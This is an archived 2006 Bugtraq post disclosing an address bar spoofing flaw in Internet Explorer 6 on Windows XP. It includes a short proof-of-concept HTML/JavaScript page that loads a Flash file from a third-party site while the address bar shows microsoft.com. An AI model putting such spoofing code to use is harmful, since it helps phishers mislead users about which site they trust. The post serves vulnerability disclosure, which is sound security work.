bugtraq - Another Internet Explorer Address Bar Spoofing Vulnerability

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-ID: <20060403182902.2256.qmail@securityfocus.com>
Date: 3 Apr 2006 18:29:02 -0000
From: hainamluke@...oo.com
To: bugtraq@...urityfocus.com
Subject: Another Internet Explorer Address Bar Spoofing Vulnerability

DESCRIPTION:

I've found another Internet Explorer Address Bar Spoofing Vulnerability that can be exploited by phiser. This allow attacker inject a malcious shockwave-flash application into Internet Explorer while it is display another URL (even trusted sites).

If you are loading a shockwave-flash but it isn't loaded fully, you make change to the window.location, both of two resouces will be loaded at the same time and the Addess Bar display the new window.location. And when the old shockwave are loaded fully, this will activate the IE but the Address Bar isn't affected.

The vulnerability has been confirmed on a fully patched system with Internet Explorer 6.0 + Microsoft Windows XP SP2 and previous versions. You may perform the test by yourself with my simple code.

SAMPLE CODE:

##### LukesTest.htm #####
<script language="javascript">
function pause(ms) 
{
	date = new Date();
	var curDate = null;

	do { var curDate = new Date(); } 
	while(curDate-date < ms);
} 

function spoof () {
	 win	= window.open('http://www.microsoft.com/','new')
	 pause (2000)
	 win	= window.open('http://www.buctuong.com/swfs/index.swf','new')
	 pause (2000)
	 win	= window.open('http://www.microsoft.com/','new')

}
</script>
<a href="javascript: spoof()">Perform the test</a>
#########################

If you are vulnerable you will see the flash intro of buctuong.com while the address bar is http://www.microsoft.com/
If you have a very fast connection you may change my flash application to a larger one to make loading time take longer.

DISCOVERED BY:

Hai Nam Luke <hainamluke@...oo.com>
K46A - NEU, Hanoi